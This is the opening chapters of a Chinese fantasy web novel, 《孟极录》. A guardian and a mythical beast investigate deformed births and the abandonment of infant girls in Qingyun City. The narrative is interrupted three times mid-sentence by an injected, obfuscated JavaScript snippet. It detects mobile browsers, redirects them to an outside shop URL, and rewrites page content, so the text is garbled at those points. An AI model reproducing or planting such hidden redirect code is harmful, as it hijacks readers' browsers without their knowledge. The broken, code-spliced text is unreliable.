《孟极录》 1. 柴房里的疯女人 青云山脚下，陡峭的山路上，一蓝衣少年只手拎着一只小狐狸，仔细看这小狐狸竟似猫又似豹，额间还有一奇异纹路。 “喂！你对我温柔点！”小狐狸腾空弹了弹腿，挣扎道。 “闭嘴，你若再说话，我就把你扔在这里。”少年毫不客气道，手上的力道却轻了几分。 直至出了青云山，快到青云城时，少年才把小狐狸塞进衣襟里。 他粗声道：“警告你两件事，第一件事，我没叫你出来，你不许出来，听见没？” 小狐狸忙不迭从衣领处探出头应了句：“知道了。” 少年把探出的毛茸茸塞回衣服里，继续道：“第二件事，没有我的允许，你不准说话，听见没？” 小狐狸闷在衣服里，嗓子间发出两声可怜的“嗷呜”声算是回应。 想当初，她可是威风凛凛的上古神兽孟极，整日遨游于天地间，好不潇洒快活。没想到有朝一日，她居然沦落成了任人拿捏的“小狐狸”。 说起来，还要怪她自己太过莽撞。神兽孟极拥有使人梦境成真，点石成金的本事，那日她受到召唤误闯进守灵人的梦中，竟使守灵人梦境成真，放出了数万恶灵。为了将功补过，她只能与守灵人一起来人间寻找逃跑的恶灵。 而这个对她态度恶劣的少年就是守灵人——玄砚。 青云城背靠青云山，虽是边陲小城，但也热闹非凡。她曾路过这里几次，常常被城内小贩的吆喝声吸引。今日进城，城内却十分冷清，莫说是小摊小贩，就连路上的行人都没有几个。 “嗷呜～”乐游觉得不对劲，在玄砚怀里拱了拱。 玄砚自然也注意到了这不寻常之处，他大手轻拍怀中毛茸茸几下，示意他知道了。 玄砚走进青云城最大的客栈，环顾客栈一周后，目光落在无所事事的伙计和打盹儿的掌柜身上。 见来了客人，小二两眼放光，连忙迎上来：“这位公子，打尖儿还是住店？” “住店。”玄砚从袖中取出一锭银子掷到柜台上，装作无事状随口一问：“这么大的客栈，怎么这般冷清。” 小二接过银子，光顾着咧开嘴笑，没回答他的问题。倒是一旁醒了的掌柜愁眉苦脸道：“这位客官是外地来的吧？您可有所不知，咱们青云城最近沾上了不干净的东西，城内的人都躲在家里不敢出来，城外的人呀，更是不敢进城。我这客栈，已经有整整一个月都如此冷清了。”说完掌柜哀叹一声。 “不干净的东西？”玄砚狐疑道，莫非跟恶灵有关，恶灵也是数月前被放出的。 “是呀是呀。”小二也凑上前来说，不知想到什么，他又急忙道：“不过客官你放心，咱们客栈一定安全，这不干净的东西只纠缠怀孕的女子。” “哦？可否细说？”玄砚一副来了兴趣的模样，追问道。 小二也不避讳，和他讲起来了事情的来龙去脉。 原来，数月前，城南一户富贵人家的夫人生了一男婴，可这男婴竟只有半个脑袋，而且嘴中长满了尖牙利齿，一生下来便会满地爬，见人就扑上去撕咬。那夫人盼星星盼月亮才生了个儿子，见此状当场就被吓死了。自那之后，青云城中出生的所有男婴都是畸形儿，无一不是可怖模样，不少刚生产完的妇人当场被吓身亡。 “为何只有男婴是畸形儿？女婴可正常？”玄砚皱起眉头，继续问。 “这是第二个奇怪的地方，这数月来，城中无一女婴出世。”小二说起此事，也是一脸惧意：“城中人心惶惶，县令广召天下术士来城中作法，可都没用。”小二说罢摆摆手。 “竟是如此。”玄砚面色凝重道，他敢肯定这件事一定与恶灵有关。他随意跟掌柜的和小二客套几句后上了二楼客房。 一到房间，乐游就从衣服里钻出来跳到地上，这一路可憋坏她了。 “可恶！这一切肯定都是恶灵在背后作祟。”乐游恨恨道，刚刚在楼下的对话她都听到了。 玄砚与她想法相同，也点了点头。 恶灵乃是由人间恶念滋生而成的，恶念越浓烈，恶灵的力量就越强大，所以逃出的恶灵一定会躲在恶念最重的地方，若是想要抓住恶灵，他们就需要找到恶念之源。 “那我们应该怎么做？”乐游跳上床，不由追问道。 “我如何知道？”玄砚坐在桌前，给自己倒了杯茶。 “你不是守灵人吗？你为何不知道？”乐游从床上跳到玄砚腿上，歪着脑袋疑惑道。 玄砚有些嫌弃地抖抖腿，看她像个毛球一样滚到地上后，皮笑肉不笑道：“你不是上古神兽吗？如何落到这般地步？” “你！”乐游自知理亏，不再与他争论。她又跳回床上，自顾自地背对他坐着生闷气。 她又不是故意闯入玄砚梦境中的，她那日明明在溪边抓小鱼，忽而间被一股强大的力量召唤，她还未反应过来就已经进入了玄砚梦中。谁知道他的梦境竟然是数万恶灵被放出。 这也是孟极一族的弱点，只要被召唤入梦，无论他们想不想，这个梦境都会实现。然而召唤孟极入梦并非一件易事，普通人是绝对做不到的。 但不管怎么说，恶灵被释放，她要负一大部分责任，若是天道怪罪下来，她或许要被关押进十八重地狱。 不要哇，乐游用爪子抱住毛茸茸的脑袋，发出凄惨的“嗷呜”声。她可是世间最后一只孟极，祈求上苍垂怜他们孟极一族，保佑她早日抓捕完逃出的恶灵，将功补过。 正哀嚎着，一只茶杯忽地飞过来，砸在乐游的脑袋上。 “闭嘴，叫得难听死了。”身后传来一道冷冷的男声。 乐游捂着被砸的脑袋，敢怒不敢言。让玄砚梦境成真耗费了她太多灵力，如今她连人形都维持不了，若是惹恼玄砚那个大坏蛋，她一定吃不了兜着走。 是夜，屋外静悄悄一片。 乐游透过窗户缝打量着空无一人的街道。玄砚换下白日里穿的蓝布衣，换上了一身夜行衣。 “玄砚，你怎么一副做贼的装扮？”乐游捧起爪子嬉笑道。 玄砚斜眼睨了她一眼，什么也没说，推开窗户“嗖——”地一下飞到对面屋顶。 “诶，等等我。”乐游收住笑想大声喊住他，又记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376732|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起他白日里的警告，遂用气音轻声道。 玄砚在前面跑，乐游在后面追。孟极奔跑的速度很快，所以她很快就追上了玄砚。 “我们去哪？”乐游跳上玄砚的肩膀后，自觉地钻进他的衣服里。 “城南侯府。”玄砚把她往怀里塞了塞，脚下速度加快，他的回应消散在晚风里。 城南侯府就是那一家生下只有半个脑袋畸形儿的富贵人家。 青云城寂静无声，整座城都彷佛被黑暗吞噬着，往日富贵喧闹的侯府也不例外。 偌大的侯府除了大门前悬挂着的灯笼，竟再无一间厢房点着灯。 “好黑，他们怎么不点灯？”乐游偷偷探出头，见周围没人，小声道。不仅侯府没点灯，一路过来的其他大户小户人家也都黑灯瞎火的。 好在玄砚在黑暗中也能正常视物，他就近找了个厢房，透过窗户缝观察里面的情形，乐游则则竖起耳朵听屋内的动静。 一连看了好几个厢房都没发现异常，房内除了呼吸声再无旁的声音。乐游刚准备钻出来，就见一个厢房里面突然亮起了烛火，没等她反应过来玄砚就带着她迅速闪过窗户，跳到屋顶。 “啊——”屋内传来一声尖叫，接着是一阵兵荒马乱。 “不能点灯不能点灯，脏东西来了。你们看到没，有东西闪过去了！”一阵尖锐的女声响起，话还未说完，烛火就被熄灭了，厢房内又恢复了平静。 一人一兽在屋顶躲藏片刻后，才跳下来。 “这样一间间厢房看太慢了，你可有听到什么？”玄砚拍了拍怀里的乐游。 “去西边。”乐游耳尖微动，侯府很安静，除了刚刚的尖叫引起小小的慌乱外，只剩西边一间厢房有喃喃细语。 玄砚身形微动，脚尖一点掠过屋顶来到西边厢房。 “右边数第二间。”喃喃细语变得清晰了。 玄砚在窗户纸上戳了一个小洞，乐游钻出来趴在窗户纸上，透过小洞看见房内有个疯女人。女人披头散发，被链子拴在地上。她的衣领大开，露出里面的红肚兜。乐游快速地扫了眼女人后开始观察这间屋子。这似乎是间柴房，地上有打翻的吃食和糊了满地的粪便，隔着窗户都能闻到一股难以言说的臭味。 “她好像在喊一个名字。”刚刚的呢喃声就是女人发出的，乐游竖起耳朵，贴在窗户纸上，一字一句重复道：“安安，我的安安。” “安安来看阿娘啦...”乐游继续重复道，话音刚落就听见屋内传来一阵低沉的笑声，虽然嗓音沙哑，可也听得出其中的欣喜。 乐游趴在窗户上听了许久，可是女人翻来覆去就念叨这么几句话。于是乐游朝玄砚使了个眼色后摇摇头。 “我们先回去吧。”乐游钻回衣服里，感受到耳边一阵风声。 等出了侯府，乐游才敢大声说话：“安安是不是她的孩子？安安现在去哪了？侯府为何要将她锁在柴房？” “这恐怕只有侯府的人才知道了。”城中人只知道侯府生了个怪物，有个被吓死的夫人，却连提也没提被锁在柴房里反反复复叫着孩子名字的疯女人。 2. 恶念之源 翌日，乐游是被敲门声吵醒的。 “客官，可需要用早膳？住店客官在本店用膳可以削价。”小二的声音从门外传来。 乐游没有在房内看到玄砚的身影，她如今的样貌不能被凡人看到，于是她偷偷跳到房梁上。 小二没得到回应，片刻后就自行离开了。 小二刚走没多久，一道黑影闪进房内。 “嗷呜～”乐游捕猎般扑到黑影身上，“你去哪里了，怎么不带上我？” “你睡得如死猪般，如何带上你？”玄砚一把抓住她的脖颈，看她四肢在空中挣扎，发出“嗷呜嗷呜”的抗议声。 “你还有几日方能化成人形？”玄砚逗弄她得了趣后，总算想到回答她的问题：“今天早上我又去了趟侯府，他们正在找新的江湖术士。”许是昨夜他的那道影子吓坏了府中众人。 “应当就这几日吧。”乐游抱住他的胳膊，顺着爬上了他的肩膀：“我们是要装成江湖术士混进侯府吗？” “嗯。” 乐游数月前跑进玄砚的梦境中，醒来后就变成了现在这幅模样。她先前从未实现过如此浩大的梦境，致使自己变成婴儿形态，如今她虽然已经恢复数月，但她也不清楚自己具体什么时侯可以变成人形。 “是不是要等我恢复成人形我们再去侯府？”乐游害怕他会丢下自己，一个人去侯府。 果然就听玄砚说：“你若是今日不能化成人形，明日我便自己一个人去。” “嗷呜～” 乐游钻进玄砚怀里与他同用早膳，吃饱喝足后又乖乖躲进他的衣服里。 “结账。”玄砚掷了一锭银子在柜台上。 只听小二说道：“诶，客官，用不了这么多。”可他的手早已把银子塞进自己衣袖。 “剩下的就当是给小哥的赏钱。”玄砚说：“在下可否向小哥打听点儿事？” “客官您问！小的保证知无不言，言无不尽。”小二眉开眼笑道。 “青云城中近日可有刚怀孕的妇人？” “有！有好几户呢！”小二殷切道：“城中卖豆腐的李家夫人和屠夫家的张夫人，还有城西教书先生家的贾夫人。” “不过公子打听这事做什么？”小二有些疑惑，但见这人出手阔绰，于是好心提醒道：“现在城中的人都对这几户人家避之不及，唯恐自己被脏东西缠上，公子也要多注意些。” 乐游用脚踹了踹玄砚，玄砚身形一顿，后朝小二拱拱手道：“多谢。” 出了客栈，玄砚径直去了离客栈最近的城中李家。 途中无人处，乐游小声恳求道：“你是守灵人，能不能想办法救救他们！” 玄砚轻哼一声：“没想到堂堂上古神兽竟如此‘心善’，你究竟是真的担心百姓呢，还是担心恶灵闯下祸事，最后天道怪罪于你？” 乐游并不生气他的态度，真诚地说：“都有。”恶灵是她放出的，青云城的百姓们本不该经历这无妄之灾。她既自责，又害怕受到天惩。 “所以你肯定有办法，对不对？” 玄砚确实有办法救他们，现在去李家，也正是为了此事。刚怀孕的妇人腹中胎儿还未成型，无法被恶灵缠上，他要赶在胎儿成型前先去为妇人设下术法，以防日后恶灵靠近。 青云城中的人都避讳怀孕的女子，连带着也躲着女子的家人。李家的门索性大白日里也紧闭着。 玄砚敲门，唤了几声后，门从里面打开了。 “公子有何贵干？”开门的是个老妇人，门只打开了一条小缝，透过这条缝，玄砚只能看到她浑浊的眼睛。 “敢问这里可是城中卖豆腐的李家？”玄砚话还未说完，就见老妇人一脸惊慌地关上门，嘴里念叨着：“不是不是。” 之后的屠夫家也是如此，玄砚碰了一鼻子灰。 “我们再去城西那家看看吧。”乐游仍躲在玄砚的衣服里，她轻声道。 城西教书先生家的门也关着，只是敲门后见到玄砚却是一副毕恭毕敬的模样。 “这位可是官府的官爷？”教书先生着一身青衫，面如傅粉，很符合玄砚对教书先生的印象。 “咳咳，嗯。”玄砚虚虚应下，既然被误会了，那他就顺水推舟利用利用这个身份。 教书先生把玄砚迎进屋子，替他倒了杯茶水。 “贱内怀有身孕，私塾里的学生们都不肯来上学，近日家中未有收入，只能用这粗茶来招待官爷，还望官爷海涵。”教书先生谄笑道。 “不打紧。”玄砚端起茶碗抿了一口，就听教书先生试探道：“官爷此次来，可是来送走孽胎的？” 听此话，怀里的乐游用爪子挠了玄砚一下，玄砚借着放茶碗的动作捏了把乐游的尾巴，随后上下打量着教书先生：“何出此言？” “哎呦，官爷，小人也不跟您绕弯子了。听说官府最近下令，要把刚怀上的孩子堕了，防止孽胎诞生，引起城中恐慌。”教书先生急切道：“您微服私行难道不就是为了这事吗？官爷您放心，城中其他人不愿意配合，小人愿意呀，这孽胎出生就是祸害，就应该趁早除掉。” 说着，他高声唤来一个女子。女子腹部平坦，但一路走来，她一直用手抚着肚子。 女子眉清目秀，只是嘴角破了，额角也高高肿起，她柔柔开口道：“见过官爷。” 玄砚朝她客气地点了点头，眼神多瞟了几眼女子受伤的额角。教书先生连忙拉过女子，责备道：“说了让你小心点小心点，你也不注意，怀着孕还把自己摔着了，你看看给自己额头磕的。”说完干巴巴地讪笑几声。 “官爷，贱内已有两月身孕，正是堕胎的好时侯。”教书先生用力拽着女子的手腕。那女子挣了挣，眼中盈满泪光，小声唤道：“夫君。” “我这次来，并非是为堕胎而来。”玄砚蹙眉道，他用眼神示意教书先生放开那女子，然后肃声说：“我有几个问题想问问夫人，先生可否回避一下？” “诶，好......”教书先生迟疑了一下后，退出房间，临走前意味深长地看了眼那女子。 “夫人请坐。”玄砚做出请的动作，接着问：“夫人可想留下腹中的孩子？” 贾夫人刚要坐下，听此话转身跪在地上，抽泣着抓住玄砚的衣角：“是，方才官爷说不是来堕胎的，是真的吗？” 没等玄砚说话，贾夫人以头抢地，“砰砰”磕头，哀求道：“求官爷饶了我这孩子一命吧，若是这个孩子没了，我以后可能就再也不能拥有自己的孩子了。” 玄砚连忙起身，一边拉她起来一边按住怀里不安分的毛茸茸：“夫人这话是什么意思？” 贾夫人泪如雨下，呜呜哭道：“先前...先前我曾孕有两个可爱的女儿，可夫君想要个男孩便让我药了我可怜的女儿，自此后我伤了身子难以有孕。现在这个孩子对于我来说得之不易。还请官爷手下留情，饶我孩儿一命。” “孩子还未出世，如何得知男女？”玄砚将她扶到椅子上，沉声问道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376733|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城中有一名医，可通过把脉断出腹中胎儿是男是女，听说从未有过失误。”贾夫人用衣袖擦了擦眼泪，心情平复些后说：“夫君就是听信了他的话，才让我堕了腹中的孩儿。” “青云城中是不是有很多怀孕的妇人去找他把脉？”玄砚继续问她。 “是，青云城向来重男儿轻女子，家家户户无一不想生个男孩儿。” “所以被断出是男孩就会被留下，是女孩就会被堕掉？” “是......”贾夫人才发出半个音节，就被推门而入的教书先生打断。 教书先生指着玄砚怒斥道：“你根本就不是官府的人！你是谁？”他若是官府的人，又怎会不知道青云城中人人皆知的名医。 被揭穿身份，玄砚也不心虚，他双手抱臂，泰然自若道：“吾乃永信法师第十八代传人，专为城中畸形子而来。” “哼，什么鬼法师的传人，不过又是一江湖骗子罢。”教书先生一改方才的恭敬模样，甩袖冷哼道：“像你这样的骗子我见的多了，赶紧滚出去，否则我就报官了。” 教书先生走上前，一把拉过夫人赶她去内间。 玄砚亦拉住贾夫人的衣袖，正色对她说：“我有办法让夫人诞下正常孩儿，分文不取，夫人可愿一试？” “我愿意我愿意！”贾夫人甩开教书先生的梏桎，跪倒在玄砚脚下，高声道：“若是大人可保我腹中胎儿健康诞下，日后我为大人当牛做马也在所不辞。” 玄砚从袖中掏出事先准备好的符纸递给她：“夫人只要把这道符纸化水饮下即可。”这道符纸上有他和乐游的血，吞下这道符，恶灵就不敢再靠近。 “你这江湖骗子莫要骗人。”教书先生推开夫人，一把夺过符纸放在脚下踩了几脚后转头怒骂地上的女人：“你个扫把星，不能给我贾家传宗接代就算了，现在还想生下个孽胎，小心我休了你。” “那你就休了我呀！我只要我的孩儿！是男是女我不在乎，就算他是怪物我也愿意照顾他一辈子。想当初...若非是你这个狠心的毒夫偷偷给我下药，我怎么会失去两个可爱的女儿。”贾夫人发狂般从地上窜起来，推开教书先生，一把捡起他脚下的符纸往嘴里塞。 贾夫人一边嚼着嘴里的符纸，一边声色俱厉道：“青云城如今为何诞不下一个健康婴儿，这都是报应！青云城的百姓自作自受啊，哈哈哈哈......”她仰头大笑，脸上的表情扭曲而狰狞。 玄砚轻叹一口气，抱着怀里按压不住的乐游，摇摇头离开了。身后是贾夫人歇斯底里的怒吼声和教书先生气急败坏的指责声。他该做的已经做完了，接下来还有更重要的事情等着他去做。 “恶念之源？”侯府旁隐蔽的小巷里，一少女有些咬牙切齿道。只见她一身豆青纱衣轻薄娇俏，头上的双髻挂着碧青色发带，粉白清丽的脸上一双大大的杏眼带着些民间小儿天真的憨气，圆润鼻头上有一点小痣长得恰到好处，更为她添上几分娇憨。 乐游急声追问道：“找到恶念之源就可以抓到恶灵了吗？恶灵之源可在侯府？”她迫不及待地想抓住作作祟的恶灵，向方才痛哭的妇人和青云城的百姓们赎罪。 “是的，但恶灵之源未必在侯府。”恶灵藏匿在人间，玄砚也无法感知到他们。“不过侯府与恶灵一定脱不了干系。” “那我们就混进侯府一探究竟！”乐游双手叉腰，皱着鼻尖喝道。她如今已经化成人形，灵力也恢复得七七八八，她一定要把这些作恶多端的恶灵全部收伏归案。 3. 小小姐不是小小姐 玄砚自称是永信法师第十八代传人，敲开了侯府的门。 “这位姑娘也是永信法师的传人？”侯老爷子客气道。玄砚双眉斜飞入鬓，眉目间透着镇定之色，一身凛然正气浑然天成般，尚且有几分可信度。可他身后的乐游，俨然是一个不谙世事的黄毛丫头。这些天，侯府广招天下术士，赏金丰厚，谁人不想来试一试？招摇撞骗的骗子他可见多了，不由得多问一句。 “那是当然，我可是他的师姐！”乐游随口胡诌道。反正这什么永信法师也是玄砚随口编的。 侯老爷子佯装出一副惊奇模样：“哦？没想到姑娘小小年纪，竟如此有能耐。” “那姑娘可否像老夫展示一二？”侯老爷子坐在上位，双眼微眯，眼神中闪过一丝精光，他侯府的钱可不是谁都能拿的。 乐游知道他在试探自己，扬声道：“贵府上数月前曾诞下一个只有半个脑袋的畸形儿，吓死了生产的夫人，可是真的？” “这件事满城皆知。”就算这件事已经不是个秘密，但听人提起，侯老爷子的脸色还是难看了几分。 “可是，满城的人都不知道，侯府西院的柴房里，还有一个因为孩子疯了的夫人。”乐游靠在椅子上，翘起二郎腿，悠哉悠哉道：“那夫人好生可怜啊～整日里喊着自己孩子的名字，安安...安安...”乐游故作玄虚，虚闭上双眼，双手掐算起来。 侯老爷子半眯的眼睛突然瞪大，他脸色一变，连忙挥手让下人退去。房内只剩乐游、玄砚和侯老爷子三个人。 侯老爷子从梨花木椅上疾步走到乐游面前，抓住乐游的胳膊，急声问道：“你是怎么知道的？谁告诉你的？” “松手！”玄砚捏住侯老爷子的手腕，逼他卸力放开乐游。 乐游被他状若疯癫的模样吓得瑟缩了一下，后板起脸凛声道：“若想人不知，除非己莫为。你既做了，天道便会将真相告诉我。”她一改刚才嬉笑的模样，倒真糊住了侯老爷子。 侯老爷子退后一步，朝乐游弯腰拱手道：“是老夫方才冒犯了高人，还请高人见谅。” “既然高人已经知道我侯府的事，可否救救我们侯府？”侯老爷子语气里带着一丝恳求。若是眼前这姑娘真能除掉留在侯府的脏东西，这家丑外扬便外扬了吧。 乐游偏过头不欲回答他的问题，扬起的下巴带着一股傲娇劲，实则偷偷朝一旁的玄砚挤眉又弄眼。 玄砚适时开口道：“被锁在柴房的夫人可曾堕过几个女胎？” “是...”侯老爷子支支吾吾道：“可是城中谁家没堕过几个女胎？” “高人有所不知，我们侯家三代单传，我儿又因幼时曾发过一场高热，烧坏了脑子，平常如三岁稚子般。老夫年岁已高，不知道什么时侯就会撒手人寰。老夫都是为了侯家的香火，不得已才这么做的呀！”侯老爷子掩面而泣，一把老骨头颤颤巍巍似要散架般。 乐游不为所动，内心暗骂他虚伪又自私，面上却不显：“我们要去看看她。” 侯老爷子擦了擦不存在的眼泪，浑浊的眼珠子打了个转后，咬牙道：“好。” 西边厢房都是些废弃厢房，用来装杂物当仓库用的，居然把一个弱夫人关在这里。 推开房门，一阵恶臭扑面而来，地上的女人不知是睡着了还是晕过去了，一动也不动。 侯老爷子下意识捂住口鼻，尴尬一笑：“两位高人见谅，府中下人伺侯不利，老夫下去定要责罚于他们。” 玄砚身量高，居高临下瞥了他一眼，抿唇不语。 乐游也冷面不语，只柳眉微颦。 为了保密，侯老爷子只带了自己的心腹，他朝那人厉声道：“还不快去找几个靠谱的人来伺侯夫人！” 下人应了句是，忙不迭跑出去了。 “在柴房伺侯吗？啧啧。”乐游开始摇头晃脑，又做出掐指一算的动作，漫不经心道：“难怪你侯府日后要没落喽。” “此话怎讲？”侯老爷子揣揣不安道。 “这夫人乃是上天赐给侯府的福星，你们侯府却如此对待她，侯府日后就算是没落了都算得上是好下场。”乐游面无表情道。 侯老爷子脸色古怪，盯着地上痴痴傻傻的疯女人嘴唇蠕动着，最后却什么也没说，只是急忙唤回心腹，凑到他耳边叽里咕噜说了些什么。 柴房里的疯女人被安顿进来了上等厢房，乐游以要为她驱灵为由住在了她隔壁，玄砚则被安排在相反方向的房间里。 夜黑风高的晚上，玄砚借着夜色混进乐游房间里。 “有什么发现吗？”玄砚问。 乐游摇摇头，她趴在墙壁上，竖起耳朵听了半宿都没发现什么。 “她还是一直反复念叨着‘安安，安安’，其他什么也没说。刚入夜时，我进去看过她，但是旁边一直有人守着，也没能问出什么。”乐游鼓着腮帮子，看起来有些失落：“她都已经疯了，侯府的人还要监视她，她在侯府一定受了很多委屈。” 玄砚顿了许久后道：“别难过了。”他不会安慰人，说起安慰的话显得有些生硬。 第二日辰时，乐游敲开女人的房门，说要与她共进早膳。 女人精神有些恍惚，不会自己用碗筷，徒手抓着碗里的粥就要往嘴里塞，似乎感觉不到烫一样。 乐游正要阻止她的动作，旁边冲出一个小丫鬟用力拍在她的手背上：“不是说了等我来喂你吗？” 小丫鬟语气不耐烦，给她喂食时动作却很轻柔，偶尔还会用帕子擦擦她的嘴角。 乐游吃着碗里的粥，用余光瞥了眼站在桌子旁的另一个小丫鬟，从头至尾，这小丫鬟的目光一直没离开过疯女人，可她对女人的态度却十分恶劣。反倒是给女人喂食的小丫鬟，虽然嘴上骂骂咧咧，但把女人照顾得很细致。 乐游不禁多看了她几眼，她喂食的动作一顿，接着欲盖祢彰道：“烦死了，吃快点。” 乐游垂眸不再看她，专心吃着碗里的粥。吃完后，她随手指了指站在一旁的小丫鬟，开口指使道：“这里有她一个人来照顾就够了，你帮我把这两封信送到城中卖豆腐的李家和屠夫张家。” 乐游从袖中取出两个信封递给站着的丫鬟，丫鬟半晌没接。 “怎么？不愿意帮我这个忙？”乐游挑眉看着她，慢条斯理道：“你家老爷奉我为上宾，求着我我才愿意留在你们侯府。如今看来，贵府大概是不需要我了，连个小丫鬟都能欺负我。”乐游说着就站起身，准备离开。 小丫鬟连连摆手跪在地上求饶：“奴婢错了，是奴婢怠慢了姑娘，奴婢这就去送。” 小丫鬟走后，女人也吃得差不多了，乐游扶着她坐到窗边的软榻上。窗外有棵石榴树，一阵风吹过，几片殷红如血的花瓣随风飘到女人面前，女人欣喜地捡起来放在手中把玩。 “你叫什么名字？”乐游问刚刚喂食的小丫鬟。 “奴婢名唤小枝。”小枝回答道。 “小枝，你过来一下。”乐游朝小枝勾了勾手指，示意她靠近自己。 小枝愣了两秒，随后还是弯腰凑到乐游面前。 “你想不想她恢复正常？”乐游轻声道。虽然屋内只有她们三个人，但是隔墙有耳，还是小心行事为好。 “姑娘这是什么意思？”小枝偏过头盯着乐游，双目如炬。 “就是字面意思，我看出来了你和她关系不一般，你很关心她。”乐游与她对视，神色认真。 小枝神色僵住几秒，然后缓缓道：“小...夫人是主子，小枝是奴婢，奴婢自然关心主子，希望主子能赶快好起来。” “屋内只有我们三个，你跟我说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376734|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你知道什么？只有这样我才有机会帮她。”乐游契而不舍追问道，虽然不知道她为什么不肯承认，但是她一定有自己的苦衷。 “奴婢说的都是实话，老爷既然派姑娘来照顾夫人，想必夫人很快就能恢复了。”小枝脸上挤出一抹勉强的笑，说着就要站直身子。 乐游拉住她的衣袖，逼她与自己对视，一字一顿道：“我不是侯老爷派来的。侯老爷、侯府究竟做了什么，把她逼成这样子？” 小枝避开她的目光，低头不语，陷入了沉默。 见她这个样子，乐游也无法，决定不再逼问她。 傍晚，乐游依旧趴在墙壁上听隔壁房的动静，突然耳边传来一阵敲门声。 乐游闻声赶去开门，门外却空无一人，她正嘟囔着是谁在恶作剧，就发现自己脚下有一个信封。 乐游连忙将信封踩在脚下，探出头两边望了望，见没有异常才关上门捡起信封。 乐游迫不及待打开信封，里面只有一张草纸，上面写着一排大字：“后山女婴岗，小小姐不是小小姐。” 什么意思？乐游看得一头雾水，不明所以。 玄砚白日里在府中装模作样地做了一场法阵，夜里仍偷偷潜入乐游房间。 “你看这封信。”乐游把信递给玄砚。 玄砚看完信后，眉头紧锁。 “后山女婴岗，今日我听府中下人提到过。”玄砚说：“那里原先是一片乱葬岗，后来城中谁家诞下女婴，又不想要的，就会把女婴偷偷抱到那里丢掉，久而久之，那里就成了女婴岗。” “可后面这句是什么意思？小小姐不是小小姐？小小姐是谁？”玄砚也想不明白，他问：“这封信是谁给你的？” “不知道，刚刚有人偷偷塞进我房间的。”乐游摇摇头，补充道：“不过今日我和那个夫人一起吃早饭的时侯，发现她身边有个叫小枝的丫鬟有些不对劲。小枝似乎很关心她，可又可以表现出一副嫌弃她的样子。或许，这封信是小枝写的？” 可白日里小枝一直对她很抗拒，晚上为什么又要偷偷塞信给她呢？她究竟有什么不能言的苦衷。 “不如我们先去他们说的女婴岗看看吧？”乐游说。 “嗯。” 玄砚吹灭乐游房间里的蜡烛，两人融入进黑暗里。 女婴岗在城北的后山上，说是山，其实只是一个小山包，与巍峨的青云山绝不能相比。 城北本就荒凉，加上这一片原先是乱葬岗，现在是女婴岗，就更加荒凉了，方圆十里没有一户人烟。 初夏的晚风带着一丝凉意轻拂过树梢，也抚过乐游的脖颈，她感觉一股寒意从脚底升起，忍不住浑身打了个激灵。 乐游有些害怕，不由自主地贴着玄砚走。忽地她被绊了一下，定睛一看，绊到自己的竟然是一个小骷髅头。 “啊啊啊啊啊啊啊啊啊！”乐游抱住玄砚的胳膊尖叫，又借力跳到他的身上，双腿环在他腰间。 “想不到堂堂上古神兽，居然会害怕一个骷髅头。”玄砚在黑暗中勾起唇，拖着语调说。 乐游把脑袋埋在他怀里，不说话，瑟瑟发抖着。 玄砚觉得有些好笑，大发善心地用手掌安抚似地拍了拍她后背，不再调侃她。 玄砚就着这个姿势走遍了传闻中的女婴岗。 女婴岗并不大，不过数十方丈的地方，竟堆满了森森白骨。婴儿未发育的尸骨那么小又那么短，却硬生生让这数十方丈的地方拔地而起几公分。 玄砚深一脚浅一脚地踩进白骨堆里，发出沉闷的响声。 “看，这里有个墓碑。”玄砚突然停下脚步，指着一块碑木对乐游说。 乐游抬起头，顺着他手指的方向看了一眼墓碑，上面赫然刻着几个大字： “爱女宋今安之墓。” 4. 今年的石榴花又开了 “女婴岗有那么多被抛弃的女婴，那里是恶念之源吗？”回去的路上，乐游趴在玄砚背上，闷声问。 “不是。”玄砚回答道，恶灵会藏匿气息防止被守灵人找到，但即便如此，近距离接触他还是可以察觉到恶灵的存在。可是方才他走遍了整个女婴岗都没有感应到恶灵的存在。 两人都不再说话，玄砚背着乐游飞掠进侯府。 侯府原先听信一位江湖道士的话，相信点灯会招惹来脏东西，因此夜里府中人都不敢点灯。但今日白天玄砚做了场法事，府中有大胆之人便开始点着灯。 疯夫人房内就点了只蜡烛，正发出微弱的光，映照出房内人摇曳的身影。现在是初夏时节，即便是夜间，房内仍有些闷热，房内那人为躺在床榻上的人轻摇着扇子。 一定是小枝，只有小枝才愿意这么细心照顾疯女人。乐游心想。 乐游拉着玄砚猫着身子蹲在疯夫人屋前的窗台下，轻声问他：“这间屋子有异常吗？” 玄砚无声摇了摇头。 两人正准备离开时，窗户突然被打开了，乐游急忙蹲下，一个身形不稳栽进了玄砚怀里。 乐游下意识蹬大双眼，见玄砚面上并无不悦，悄悄松了口气。今日玄砚这家伙似乎对她很宽容。 